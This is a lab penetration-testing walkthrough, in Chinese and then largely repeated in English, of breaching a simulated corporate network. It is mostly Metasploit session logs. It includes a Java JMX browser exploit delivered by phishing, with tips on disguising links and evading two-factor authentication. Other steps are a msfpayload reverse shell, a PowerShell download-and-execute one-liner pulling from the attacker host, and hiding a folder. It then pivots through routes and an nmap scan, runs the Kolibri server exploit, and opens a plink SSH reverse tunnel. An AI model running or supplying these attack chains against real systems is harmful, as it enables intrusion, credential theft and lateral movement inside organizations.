基于实际场景的架构攻击

前言

我将带你完成基于实际场景的基础架构攻击。
我这样做有两个原因。

  • 我在自己的实验环境在进行的测试,想分享一下
  • 展示如何进入企业内部的网络,

企业环境有两个入口点易受攻击

  • Web Application:网络是很复杂的,有很多方法可以绕过防御(sqli,xss,CSRF,SOAP,文件上传,命令执行等等)
  • 客户端攻击:针对客户端攻击很有效,能力强的攻击者成功率很高。

下面我将演示一台沦陷的机器如何成为进入企业内部网络的切入点。
我会使用很多方法和工具:nmsf,pth,powershell,ssh 转发。

网络架构

  • internet:192.168.44.1/24
  • 企业的网络接口: 192.168.17.1/24

Client:

  • 攻击端–BT5:192.16844.137
  • V1 Client–win7:192.168.44.1和192.168.17.1 双网卡
  • V2 Client – XP SP1:192.168.17.134
  • V3 Client XP SP3:192.168.17.132

一个简单的拓扑图

V1 Client

利用一个java JMX的漏洞去诱使一名企业内部的员工点击。

msf > search JMX

Matching Modules
================

   Name                                      Disclosure Date  Rank       Description
   ----                                      ---------------  ----       -----------
   exploit/multi/browser/java_jre17_jmxbean  2013-01-10       excellent  Java Applet JMX Remote Code
                                                                         Execution
   exploit/multi/http/jboss_bshdeployer      2010-04-26       excellent  JBoss JMX Console Beanshell
                                                                         Deployer WAR Upload and
                                                                         Deployment
   exploit/multi/http/jboss_invoke_deploy    2007-02-20       excellent  JBoss DeploymentFileRepository
                                                                         WAR Deployment (via
                                                                         JMXInvokerServlet)
   exploit/multi/http/jboss_maindeployer     2007-02-20       excellent  JBoss JMX Console Deployer
                                                                         Upload and Execute
   exploit/multi/misc/java_rmi_server        2011-10-15       excellent  Java RMI Server Insecure
                                                                         Default Configuration Java
                                                                         Code Execution


msf  exploit(java_jre17_jmxbean) > show options

Module options (exploit/multi/browser/java_jre17_jmxbean):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the
                                          local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted:
                                          SSL2, SSL3, TLS1)
   URIPATH     /JavaEveryday    no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_http):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.44.137   yes       The local listener hostname
   LPORT  8080             yes       The local listener port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)

msf  exploit(java_jre17_jmxbean) > exploit
[*] Exploit running as background job.
[*] Started HTTP reverse handler on http://192.168.44.137:8080/
[*] Using URL: http://0.0.0.0:8080/JavaEveryday
[*]  Local IP: http://192.168.44.137:8080/JavaEveryday
[*] Server started.

下面要做的就是让没有安全意识的员工去点击我的链接

钓鱼:

这个方法有些粗暴了,一般来说我们可以对链接模糊处理,比如用短链接,然后邮件的来源可靠。
ps:现在有很多支持双因子认证的钓鱼框架,自己github找。

msf  exploit(java_jre17_jmxbean) > exploit

[*] Exploit running as background job.
[*] Started HTTP reverse handler on http://192.168.44.137:8080/
[*] Using URL: http://0.0.0.0:8080/JavaEveryday
[*]  Local IP: http://192.168.44.137:8080/JavaEveryday
[*] Server started.
[*] 192.168.44.1     java_jre17_jmxbean - handling request for /JavaEveryday/
[*] 192.168.44.1:58312 Request received for /favicon.ico...
[*] 192.168.44.1:58312 Unknown request to /favicon.ico GET /favicon.ico HTTP/1.1

Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 192.168.44.137:8080
Connection: Keep-Alive
Content-Length: 0
...

[*] 192.168.44.1     java_jre17_jmxbean - handling request for /JavaEveryday/eHRimLIo.jar
[*] 192.168.44.1     java_jre17_jmxbean - handling request for /JavaEveryday/eHRimLIo.jar
[*] 192.168.44.1:58314 Request received for /INITJM...
[*] Meterpreter session 1 opened (192.168.44.137:8080 -> 192.168.44.1:58314) at 2013-01-18 20:50:07 +0000

msf  exploit(java_jre17_jmxbean) > sessions -l

Active sessions
===============

  Id  Type                   Information     Connection
  --  ----                   -----------     ----------
  1   meterpreter java/java  b33f @ Trident  192.168.17.133:8080 -> 192.168.17.1:53650 (192.168.17.1)

msf  exploit(java_jre17_jmxbean) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer    : Trident
OS          : Windows 7 6.1 (x86)
Meterpreter : java/java

meterpreter > getuid
Server username: b33f

meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\b33f\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter VMware Network Adapter VMnet10:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::15ce:3f81:aaf6:3173%16
   IPv4 Address. . . . . . . . . . . : 192.168.17.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 

Ethernet adapter VMware Network Adapter VMnet8:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::a504:dea1:5746:e518%17
   IPv4 Address. . . . . . . . . . . : 192.168.44.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :

从弹回来的session我们可以知道目标是双网卡,可以让我们访问公司内部的其他机器,首先用其他的meterpreter替换现在的java_meterpreter,因为java_meterpreter有些功能用不了。
下面用powershell进行代码执行,然后提升权限。

先搭建一个Web服务,然后用powershell下载payload。

root@bt:~/Desktop# /etc/init.d/apache2 start
 * Starting web server apache2  [ OK ] 

root@bt:~# netstat -atnp |grep apache2
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name 
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1467/apache2

root@bt:~# msfpayload windows/shell/reverse_tcp lport=9988 lhost=192.168.44.137 X > /var/www/funz.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 290
Options: {"lport"=>"9988", "lhost"=>"192.168.44.137"}

root@bt:~# locate plink.exe
/pentest/windows-binaries/tools/plink.exe

root@bt:~# cp /pentest/windows-binaries/tools/plink.exe /var/www/

root@bt:~/Desktop# ls -la /var/www/
total 2100
drwxr-xr-x  3 root root    4096 2013-01-18 01:28 .
drwxr-xr-x 16 root root    4096 2011-06-08 14:51 ..
-rw-r--r--  1 root root   73802 2013-01-18 01:27 funz.exe
-rw-r--r--  1 root root     177 2011-05-10 17:01 index.html
-rwxrw-rw-  1 root root 1667584 2011-06-30 14:52 ncat.exe
-rwxrw-rw-  1 root root  381816 2010-04-27 12:04 PsExec.exe
drwxr-xr-x  2 root root    4096 2011-05-10 17:01 wstool

除了下载payload,还需要需要下载plink,它是Putty的命令行版本。
用来搭建ssh隧道。

Ctrl+Z可以将会话放入后台。
然后监听
msf  exploit(java_jre17_jmxbean) > use multi/handler

msf  exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp

msf  exploit(handler) > set lport 9988
lport => 9988

msf  exploit(handler) > set lhost 192.168.44.137
lhost => 192.168.44.137

msf  exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.44.137:9988 
[*] Starting the payload handler...

# 回到会话中
msf  exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\b33f\Desktop>md EvilHacker
md EvilHacker

# 将文件夹隐藏
C:\Users\b33f\Desktop>attrib +s +h "C:\Users\b33f\Desktop\EvilHacker"
attrib +s +h "C:\Users\b33f\Desktop\EvilHacker"

C:\Users\b33f\Desktop>cd EvilHacker
cd EvilHacker

下载
C:\Users\b33f\Desktop\EvilHacker>cmd /c "PowerShell (New-Object System.Net.WebClient).DownloadFile
('http://192.168.44.137/funz.exe','funz.exe');(New-Object System.Net.WebClient).DownloadFile
('http://192.168.44.137/plink.exe','plink.exe');Start-Process 'funz.exe'"

# 得到一个新的shell

[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.44.1

C:\Users\b33f\Desktop\EvilHacker>^Z
Background channel 1? [y/N]  y

meterpreter > 
Background session 1? [y/N]  y

msf  exploit(handler) > sessions

Active sessions
===============

Id  Type                   Information     Connection
--  ----                   -----------     ----------
1   meterpreter java/java  b33f @ Trident  192.168.44.137:8080 -> 192.168.44.1:58314 (192.168.44.1)
2   shell windows                          192.168.44.137:9988 -> 192.168.44.1:58736 (192.168.44.1)


# 使用session -u 2 将shell升级到正确的session中

msf  exploit(handler) > sessions -u 2

[*] Started reverse handler on 192.168.44.137:9988 
[*] Starting the payload handler...
[*] Command Stager progress - 1.66% done (1699/102108 bytes)
[*] Command Stager progress - 3.33% done (3398/102108 bytes)
[*] Command Stager progress - 4.99% done (5097/102108 bytes)
[*] Command Stager progress - 6.66% done (6796/102108 bytes)
[...Snip...]
[*] Command Stager progress - 96.51% done (98542/102108 bytes)
[*] Command Stager progress - 98.15% done (100216/102108 bytes)
[*] Command Stager progress - 99.78% done (101888/102108 bytes)
[*] Command Stager progress - 100.00% done (102108/102108 bytes)

msf  exploit(handler) > sessions

Active sessions
===============

Id  Type                   Information            Connection
--  ----                   -----------            ----------
1   meterpreter java/java  b33f @ Trident         192.168.44.137:8080 -> 192.168.44.1:58314 (192.168.44.1)
2   shell windows                                 192.168.44.137:9988 -> 192.168.44.1:58736 (192.168.44.1)
3   meterpreter x86/win32  Trident\b33f @ TRIDENT 192.168.44.137:9988 -> 192.168.44.1:58770 (192.168.44.1)

# kill掉不需要的
msf  exploit(handler) > sessions -k 1
[*] Killing session 1
[*] 192.168.44.1 - Meterpreter session 1 closed.

msf  exploit(handler) > sessions -k 2
[*] Killing session 2
[*] 192.168.44.1 - Command shell session 2 closed.

# 运行arp扫描然后添加路由
eterpreter > run arp_scanner -r 192.168.17.1/24
[*] ARP Scanning 192.168.17.1/24
[*] IP: 192.168.17.1 MAC 00:50:56:c0:00:01
[*] IP: 192.168.17.134 MAC 00:0c:29:33:39:21
[*] IP: 192.168.17.132 MAC 00:0c:29:71:74:f7

msf  exploit(handler) > route add 192.168.17.1 255.255.255.0 3
[*] Route added

msf  exploit(handler) > route print

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.17.1       255.255.255.0      Session 3

V2 webserver

nmap扫描

msf  exploit(handler) > nmap -sS -T5 -v 192.168.17.134
[*] exec: nmap -sS -T5 -v 192.168.17.134

Starting Nmap 5.51SVN ( http://nmap.org ) at 2013-01-18 21:25 GMT
Initiating Ping Scan at 21:25
Scanning 192.168.17.134 [3 ports]
Completed Ping Scan at 21:25, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:25
Completed Parallel DNS resolution of 1 host. at 21:25, 0.03s elapsed
Initiating SYN Stealth Scan at 21:25
Scanning 192.168.17.134 [1000 ports]
Discovered open port 135/tcp on 192.168.17.134
Discovered open port 8080/tcp on 192.168.17.134
Discovered open port 1025/tcp on 192.168.17.134
Discovered open port 139/tcp on 192.168.17.134
Discovered open port 445/tcp on 192.168.17.134
Discovered open port 5000/tcp on 192.168.17.134
Completed SYN Stealth Scan at 21:25, 3.28s elapsed (1000 total ports)
Nmap scan report for 192.168.17.134
Host is up (1.0s latency).

PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
5000/tcp open  upnp
8080/tcp open  http-proxy
MAC Address: 00:0C:29:33:39:21 (VMware)

Read data files from: /opt/framework/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.53 seconds
           Raw packets sent: 1527 (67.164KB) | Rcvd: 543 (21.744KB)

有一个很老的Kolibri HTTP Server
msf内置有相关的模块。

msf  exploit(handler) > use exploit/windows/http/kolibri_http

msf  exploit(kolibri_http) > set rhost 192.168.17.134
rhost => 192.168.17.134

msf  exploit(kolibri_http) > set rport 8080
rport => 8080

# 这里要正向去连接目标

msf  exploit(kolibri_http) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp

msf  exploit(kolibri_http) > show options

Module options (exploit/windows/http/kolibri_http):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST    192.168.17.134   yes       The target address
   RPORT    8080             yes       The target port
   VHOST                     no        HTTP server virtual host


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LPORT     4444             yes       The listen port
   RHOST     192.168.17.134   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Windows XP sp3

msf  exploit(kolibri_http) > exploit

msf  exploit(handler) > sessions

Active sessions
===============

Id  Type                   Information                             Connection
--  ----                   -----------                             ----------
3   meterpreter x86/win32  Trident\b33f @ TRIDENT                  192.168.44.137:9988 
                                                                   -> 192.168.44.1:58770 (192.168.44.1)
4   meterpreter x86/win32  B33F-URLVV9CUV5\user1 @ B33F-URLVV9CUV5 192.168.44.137-192.168.44.1:0 
                                                                   -> 192.168.17.134:4444 (192.168.17.134)

msf  exploit(handler) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > getuid
Server username: B33F-URLVV9CUV5\user1

meterpreter > sysinfo
Computer        : B33F-URLVV9CUV5
OS              : Windows XP (Build 2600, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32

# Seems like user1 is a low privilege user and won't be able to give us SYSTEM level access to the box

meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.

可以使用search exploit/windows/local,找一些本地提权的模块,或者使用MS08_067,下面搭建ssh隧道。因为V1可以连接到我的机器,也可以连接到目标内网。

# 启动ssh
root@bt:~# /etc/init.d/ssh start
Rather than invoking init scripts through /etc/init.d, use the service(8)
utility, e.g. service ssh start

Since the script you are attempting to invoke has been converted to an
Upstart job, you may also use the start(8) utility, e.g. start ssh
ssh start/running, process 4985

# 启动ssh隧道
# Tunnel Syntax: plink -l username -pw "password" -R attacker_port:victim_ip:victim_port attacker_ip

C:\Users\b33f\Desktop\EvilHacker>plink -l root -pw "s3cr3tpa$$word" -R 445:192.168.17.134:445 192.168.44.137
plink -l root -pw "s3cr3tpa$$word" -R 445:192.168.17.134:445 192.168.44.137


V1 Client Side Foothold
Like I said before sophisticated attackers have had great success at using client side attacks to gain entry to the corporate network. Exploits such as the recent Java JMX bug offer such powerful weapons to the attacker with remote code execution across multiple browsers and operating systems. A regular user may easily be tricked into browsing to a malicious link if he/she thinks the sender is trusted or is properly motivated. Time to launch our attack on the corporate network. First we will serve up the Java JMX exploit on our attackers box and then we will try to entice a poor employee to visit our malicious website.

msf > search JMX

Matching Modules
================

   Name                                      Disclosure Date  Rank       Description
   ----                                      ---------------  ----       -----------
   exploit/multi/browser/java_jre17_jmxbean  2013-01-10       excellent  Java Applet JMX Remote Code
                                                                         Execution
   exploit/multi/http/jboss_bshdeployer      2010-04-26       excellent  JBoss JMX Console Beanshell
                                                                         Deployer WAR Upload and
                                                                         Deployment
   exploit/multi/http/jboss_invoke_deploy    2007-02-20       excellent  JBoss DeploymentFileRepository
                                                                         WAR Deployment (via
                                                                         JMXInvokerServlet)
   exploit/multi/http/jboss_maindeployer     2007-02-20       excellent  JBoss JMX Console Deployer
                                                                         Upload and Execute
   exploit/multi/misc/java_rmi_server        2011-10-15       excellent  Java RMI Server Insecure
                                                                         Default Configuration Java
                                                                         Code Execution


msf  exploit(java_jre17_jmxbean) > show options

Module options (exploit/multi/browser/java_jre17_jmxbean):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the
                                          local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted:
                                          SSL2, SSL3, TLS1)
   URIPATH     /JavaEveryday    no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_http):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.44.137   yes       The local listener hostname
   LPORT  8080             yes       The local listener port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)

msf  exploit(java_jre17_jmxbean) > exploit
[*] Exploit running as background job.
[*] Started HTTP reverse handler on http://192.168.44.137:8080/
[*] Using URL: http://0.0.0.0:8080/JavaEveryday
[*]  Local IP: http://192.168.44.137:8080/JavaEveryday
[*] Server started.



All we need to do now is trick the unsuspecting user (V1) into browsing to our website.






Obviously this crude attempt won't get us very far but you get the idea right. A motivated attacker can obfuscate the link and craft a mail that looks like it comes from a trusted source or supply a seemingly compelling reason to visit the website. This will be the starting point for our infrastructure scenario.

msf  exploit(java_jre17_jmxbean) > exploit

[*] Exploit running as background job.
[*] Started HTTP reverse handler on http://192.168.44.137:8080/
[*] Using URL: http://0.0.0.0:8080/JavaEveryday
[*]  Local IP: http://192.168.44.137:8080/JavaEveryday
[*] Server started.
[*] 192.168.44.1     java_jre17_jmxbean - handling request for /JavaEveryday/
[*] 192.168.44.1:58312 Request received for /favicon.ico...
[*] 192.168.44.1:58312 Unknown request to /favicon.ico GET /favicon.ico HTTP/1.1

Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 192.168.44.137:8080
Connection: Keep-Alive
Content-Length: 0
...

[*] 192.168.44.1     java_jre17_jmxbean - handling request for /JavaEveryday/eHRimLIo.jar
[*] 192.168.44.1     java_jre17_jmxbean - handling request for /JavaEveryday/eHRimLIo.jar
[*] 192.168.44.1:58314 Request received for /INITJM...
[*] Meterpreter session 1 opened (192.168.44.137:8080 -> 192.168.44.1:58314) at 2013-01-18 20:50:07 +0000

msf  exploit(java_jre17_jmxbean) > sessions -l

Active sessions
===============

  Id  Type                   Information     Connection
  --  ----                   -----------     ----------
  1   meterpreter java/java  b33f @ Trident  192.168.17.133:8080 -> 192.168.17.1:53650 (192.168.17.1)

msf  exploit(java_jre17_jmxbean) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer    : Trident
OS          : Windows 7 6.1 (x86)
Meterpreter : java/java

meterpreter > getuid
Server username: b33f

meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\b33f\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter VMware Network Adapter VMnet10:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::15ce:3f81:aaf6:3173%16
   IPv4 Address. . . . . . . . . . . : 192.168.17.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 

Ethernet adapter VMware Network Adapter VMnet8:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::a504:dea1:5746:e518%17
   IPv4 Address. . . . . . . . . . . : 192.168.44.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 



As we can see from the meterpreter session our host is dual-homed and will likely give us access to additional non routable hosts on the corporate network. First however we are going to replace our existing java_meterpreter with a proper meterpreter. As some of you will know the java_meterpreter doesn't contain all the available functionality. It also gives me the opportunity to showcase to cool tricks: (1) Inline poweshell code execution and (2) metasploit session upgrading. First we will set up a web server to host our shell and then we will use powershell to download and execute our payload.

root@bt:~/Desktop# /etc/init.d/apache2 start
 * Starting web server apache2  [ OK ] 

root@bt:~# netstat -atnp |grep apache2
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name 
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1467/apache2

root@bt:~# msfpayload windows/shell/reverse_tcp lport=9988 lhost=192.168.44.137 X > /var/www/funz.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 290
Options: {"lport"=>"9988", "lhost"=>"192.168.44.137"}

root@bt:~# locate plink.exe
/pentest/windows-binaries/tools/plink.exe

root@bt:~# cp /pentest/windows-binaries/tools/plink.exe /var/www/

root@bt:~/Desktop# ls -la /var/www/
total 2100
drwxr-xr-x  3 root root    4096 2013-01-18 01:28 .
drwxr-xr-x 16 root root    4096 2011-06-08 14:51 ..
-rw-r--r--  1 root root   73802 2013-01-18 01:27 funz.exe
-rw-r--r--  1 root root     177 2011-05-10 17:01 index.html
-rwxrw-rw-  1 root root 1667584 2011-06-30 14:52 ncat.exe
-rwxrw-rw-  1 root root  381816 2010-04-27 12:04 PsExec.exe
drwxr-xr-x  2 root root    4096 2011-05-10 17:01 wstool 



In addition to our payload we will also be uploading plink.exe which is a command line version of Putty which will allow us to create shh tunnels in and out of the corporate network should we need them.

# First we will background our meterpreter session (Ctrl+Z) till we drop back into msfconsole and set up a
# listener for our payload.

msf  exploit(java_jre17_jmxbean) > use multi/handler

msf  exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp

msf  exploit(handler) > set lport 9988
lport => 9988

msf  exploit(handler) > set lhost 192.168.44.137
lhost => 192.168.44.137

msf  exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.44.137:9988 
[*] Starting the payload handler...

# Ok now lets log back into our original meterpreter sessions and use powershell to download our files
# and execute our payload.

msf  exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\b33f\Desktop>md EvilHacker
md EvilHacker

# This will make the folder hidden and won't even show up if "Show Hidden Files and Folders" option is
# enabled.

C:\Users\b33f\Desktop>attrib +s +h "C:\Users\b33f\Desktop\EvilHacker"
attrib +s +h "C:\Users\b33f\Desktop\EvilHacker"

C:\Users\b33f\Desktop>cd EvilHacker
cd EvilHacker

# This is all in one line

C:\Users\b33f\Desktop\EvilHacker>cmd /c "PowerShell (New-Object System.Net.WebClient).DownloadFile
('http://192.168.44.137/funz.exe','funz.exe');(New-Object System.Net.WebClient).DownloadFile
('http://192.168.44.137/plink.exe','plink.exe');Start-Process 'funz.exe'"

# We immediately get notified of the incoming shell by our handler.

[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.44.1

C:\Users\b33f\Desktop\EvilHacker>^Z
Background channel 1? [y/N]  y

meterpreter > 
Background session 1? [y/N]  y

msf  exploit(handler) > sessions

Active sessions
===============

Id  Type                   Information     Connection
--  ----                   -----------     ----------
1   meterpreter java/java  b33f @ Trident  192.168.44.137:8080 -> 192.168.44.1:58314 (192.168.44.1)
2   shell windows                          192.168.44.137:9988 -> 192.168.44.1:58736 (192.168.44.1)

# We can use the "sessions -u" option to upgrade our shell to a proper meterpreter session.

msf  exploit(handler) > sessions -u 2

[*] Started reverse handler on 192.168.44.137:9988 
[*] Starting the payload handler...
[*] Command Stager progress - 1.66% done (1699/102108 bytes)
[*] Command Stager progress - 3.33% done (3398/102108 bytes)
[*] Command Stager progress - 4.99% done (5097/102108 bytes)
[*] Command Stager progress - 6.66% done (6796/102108 bytes)
[...Snip...]
[*] Command Stager progress - 96.51% done (98542/102108 bytes)
[*] Command Stager progress - 98.15% done (100216/102108 bytes)
[*] Command Stager progress - 99.78% done (101888/102108 bytes)
[*] Command Stager progress - 100.00% done (102108/102108 bytes)

msf  exploit(handler) > sessions

Active sessions
===============

Id  Type                   Information            Connection
--  ----                   -----------            ----------
1   meterpreter java/java  b33f @ Trident         192.168.44.137:8080 -> 192.168.44.1:58314 (192.168.44.1)
2   shell windows                                 192.168.44.137:9988 -> 192.168.44.1:58736 (192.168.44.1)
3   meterpreter x86/win32  Trident\b33f @ TRIDENT 192.168.44.137:9988 -> 192.168.44.1:58770 (192.168.44.1)

# Lets kill off the sessions we don't need anymore.

msf  exploit(handler) > sessions -k 1
[*] Killing session 1
[*] 192.168.44.1 - Meterpreter session 1 closed.

msf  exploit(handler) > sessions -k 2
[*] Killing session 2
[*] 192.168.44.1 - Command shell session 2 closed.



As a final step in setting up our forward base of attack we will scan the internal non routable network for live hosts and add a route to that network in metasploit so we can pivot our attacks.

meterpreter > run arp_scanner -r 192.168.17.1/24
[*] ARP Scanning 192.168.17.1/24
[*] IP: 192.168.17.1 MAC 00:50:56:c0:00:01
[*] IP: 192.168.17.134 MAC 00:0c:29:33:39:21
[*] IP: 192.168.17.132 MAC 00:0c:29:71:74:f7

msf  exploit(handler) > route add 192.168.17.1 255.255.255.0 3
[*] Route added

msf  exploit(handler) > route print

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.17.1       255.255.255.0      Session 3






V2 Legacy Web Server

As I mentioned before the corporate network perimeter is generally well protected. That same diligence is (generally) not applied to the internal network for a variety of reasons. Upgrading OS'es costs allot of money, patching may cause downtime no one is willing to sign off on and generally people consider the internal network to be a safe place. Enter our (unrealistic) XP SP1 legacy HTTP server running a vulnerable version of Kolibri. Since we added a route to the corporate network in msf we can now forward our traffic through V1 to the non routable hosts.



msf  exploit(handler) > nmap -sS -T5 -v 192.168.17.134
[*] exec: nmap -sS -T5 -v 192.168.17.134

Starting Nmap 5.51SVN ( http://nmap.org ) at 2013-01-18 21:25 GMT
Initiating Ping Scan at 21:25
Scanning 192.168.17.134 [3 ports]
Completed Ping Scan at 21:25, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:25
Completed Parallel DNS resolution of 1 host. at 21:25, 0.03s elapsed
Initiating SYN Stealth Scan at 21:25
Scanning 192.168.17.134 [1000 ports]
Discovered open port 135/tcp on 192.168.17.134
Discovered open port 8080/tcp on 192.168.17.134
Discovered open port 1025/tcp on 192.168.17.134
Discovered open port 139/tcp on 192.168.17.134
Discovered open port 445/tcp on 192.168.17.134
Discovered open port 5000/tcp on 192.168.17.134
Completed SYN Stealth Scan at 21:25, 3.28s elapsed (1000 total ports)
Nmap scan report for 192.168.17.134
Host is up (1.0s latency).

PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
5000/tcp open  upnp
8080/tcp open  http-proxy
MAC Address: 00:0C:29:33:39:21 (VMware)

Read data files from: /opt/framework/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.53 seconds
           Raw packets sent: 1527 (67.164KB) | Rcvd: 543 (21.744KB)



A bit of service enumeration will reveal that the http-proxy is actually Kolibri HTTP Server. You could tunnel out the port and browse to the site or look at the raw dump when enumerating with amap but I leave that up to the diligent reader to play with. There is already an exploit present for Kolibri in metasploit but it only supports XP SP3. It literally took me five minutes start to finish to launch a debugger on a test system, look for the appropriate addresses on SP1 and modify the exploit in metasploit accordingly.

msf  exploit(handler) > use exploit/windows/http/kolibri_http

msf  exploit(kolibri_http) > set rhost 192.168.17.134
rhost => 192.168.17.134

msf  exploit(kolibri_http) > set rport 8080
rport => 8080

# Take care to set a bind payload as the host has no way to route back to our attacker.

msf  exploit(kolibri_http) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp

msf  exploit(kolibri_http) > show options

Module options (exploit/windows/http/kolibri_http):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST    192.168.17.134   yes       The target address
   RPORT    8080             yes       The target port
   VHOST                     no        HTTP server virtual host


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LPORT     4444             yes       The listen port
   RHOST     192.168.17.134   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Windows XP sp3

msf  exploit(kolibri_http) > exploit

msf  exploit(handler) > sessions

Active sessions
===============

Id  Type                   Information                             Connection
--  ----                   -----------                             ----------
3   meterpreter x86/win32  Trident\b33f @ TRIDENT                  192.168.44.137:9988 
                                                                   -> 192.168.44.1:58770 (192.168.44.1)
4   meterpreter x86/win32  B33F-URLVV9CUV5\user1 @ B33F-URLVV9CUV5 192.168.44.137-192.168.44.1:0 
                                                                   -> 192.168.17.134:4444 (192.168.17.134)

msf  exploit(handler) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > getuid
Server username: B33F-URLVV9CUV5\user1

meterpreter > sysinfo
Computer        : B33F-URLVV9CUV5
OS              : Windows XP (Build 2600, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32

# Seems like user1 is a low privilege user and won't be able to give us SYSTEM level access to the box

meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.



